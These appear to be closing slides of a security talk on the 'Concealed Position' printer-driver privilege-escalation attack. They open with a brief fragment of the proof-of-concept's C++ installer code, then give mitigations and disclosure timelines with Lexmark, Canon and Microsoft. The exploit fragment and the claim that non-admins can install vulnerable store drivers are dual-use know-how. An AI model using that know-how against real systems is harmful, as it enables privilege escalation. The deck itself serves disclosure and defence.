13     const ExploitFactory s_exploits;
14
15     const std::string catch_me("WVqtcQKfeIUxunX1jAadGwMiir5LacjHwN8tVl1Pr7AiwJnZCsik2TxHLZgGhErb");
16
17     bool installDriverFromStore(const std::string& p_driver)
18     {
19         std::wstring wDriver(p_driver.begin(), p_driver.end());
20         HRESULT hr = InstallPrinterDriverFromPackage(NULL, NULL, wDriver.c_str(), NULL, 0);
```

# MITIGATIONS

A screenshot of the Group Policy Object (GPO) configuration window for "Package Point and print - Approved servers". The window has a title bar with standard Windows controls. Below the title bar, there's a sub-header "Package Point and print - Approved servers" with "Previous Setting" and "Next Setting" buttons. The main area contains three radio buttons: "Not Configured" (selected), "Enabled", and "Disabled". To the right of these is a "Comment:" text box. Below the radio buttons is a "Supported on:" dropdown menu showing "At least Windows Vista". At the bottom left, there's an "Options:" section with a text box for "Enter fully qualified server names" and a "Show..." button. To the right of this is a "Help:" section with a scrollable text area containing detailed information about the policy. At the bottom right are "OK", "Cancel", and "Apply" buttons.

Package Point and print - Approved servers

Package Point and print - Approved servers

Previous Setting Next Setting

☒ Not Configured Comment:

☐ Enabled

☐ Disabled

Supported on: At least Windows Vista

Options:

Enter fully qualified server names Show...

Help:

Restricts package point and print to approved servers.

This policy setting restricts package point and print connections to approved servers. This setting only applies to Package Point and Print connections, and is completely independent from the "Point and Print Restrictions" policy that governs the behavior of non-package point and print connections.

Windows Vista and later clients will attempt to make a non-package point and print connection anytime a package point and print connection fails, including attempts that are blocked by this policy. Administrators may need to set both policies to block all print connections to a specific print server.

If this setting is enabled, users will only be able to package point and print to print servers approved by the network administrator. When using package point and print, client computers will check the driver signature of all drivers that are downloaded from print servers.

If this setting is disabled, or not configured, package point and

OK Cancel Apply

- Patching might never be an option.
- Search user driver stores for affected drivers and remove them. `pnputil.exe /enum-drivers`
- GPO is useful here. Enable "Package Point and Print – Approved Servers"





# DISCLOSURES & FUTURE WORK

# DISCLOSURE



- Similar disclosures sent to Lexmark, Canon, and Microsoft on 18 June 2021.
- All were provided with descriptions of their specific issues.
- All were given versions of concealed position.
- All were informed of the 7 August 2021 disclosure date.

# LEXMARK: DISCLOSURE TIMELINE

- **18 June 2021:** Disclosure sent to [securityalerts@lexmark.com](mailto:securityalerts@lexmark.com)
- **18 June 2021:** Lexmark acknowledges receipt
- **21 June 2021:** Lexmark confirms the issue
- **21 June 2021:** CVE request sent to MITRE
- **30 June 2021:** Ask MITRE again to assign CVE.
- **30 June 2021:** Lexmark provides beta patch for testing.
- **1 July 2021:** Inform Lexmark the beta patch addresses the issue.
- **2 July 2021:** Ask MITRE about the status of the CVE assignment.
- **2 July 2021:** CVE-2021-35449 is assigned and Lexmark is informed.
- **6 July 2021:** Emails are exchanged about credit in the advisory.
- **13 July 2021:** Lexmark shared a copy of their advisory to be released later in the week.

# CANON: DISCLOSURE TIMELINE

- **18 June 2021:** Disclosure emailed to Canon PSIRT
- **21 June 2021:** Acknowledgement of receipt
- **21–22 June 2021:** Emails exchanged regarding the affected component.
- **26 June 2021:** Canon is asked for an update.
- **29 June 2021:** Canon states they will update shortly.
- **1 July 2021:** Canon is asked again for an update and to confirm the vulnerability.
- **9 July 2021:** Canon again asked for an update and to confirm the vulnerability.
- **12 July 2021:** Canon asks if a July 4 security patch fixes the issue.
- **12 July 2021:** Canon is told the patch has no effect on the reported vulnerability. Canon is asked if they have tried the proof of concept or if they are confused about the affected file path.
- **12 July 2021:** Canon acknowledges but doesn't answer questions.

# MICROSOFT: DISCLOSURE TIMELINE




- **18 June 2021:** Disclosure sent to Microsoft Security Response Center (MSRC)
- **18 June 2021:** MSRC send an automated acknowledgement
- **18 June 2021:** MSRC assigns a case ID
- **1 July 2021:** MSRC is asked for an update
- **1 July 2021:** MSRC indicates they are working to reproduce.
- **1 July 2021:** MSRC states they are having issues reproducing the issue. Ask a couple of questions.
- **1 July 2021:** MSRC is asked exactly where they are experiencing issues and if it is PoC configuration related.
- **2 July 2021:** MSRC restates questions.
- **2 July 2021:** MSRC is provided with answers
- **4 July 2021:** MSRC is provided with a clarification on MSAPI usage.
- **8 July 2021:** MSRC says they can't reproduce because `InstallPrinterDriverFromPackage` requires admin privileges.
- **8 July 2021:** MSRC is informed that isn't true for drivers in the driver store. MSRC is asked if a PoC video would help.
- **8 July 2021:** MSRC indicates a PoC video always helps.
- **9 July 2021:** MSRC is sent a PoC video and updated code.
- **12 July 2021:** MSRC acknowledges the issue.

# FUTURE WORK



- Many more drivers to analyze
- Phase out use of CutePDF
- USB NDIS Attack
- Polish Concealed Position functionality





# THANK YOU!



**DARK WOLF**  
SOLUTIONS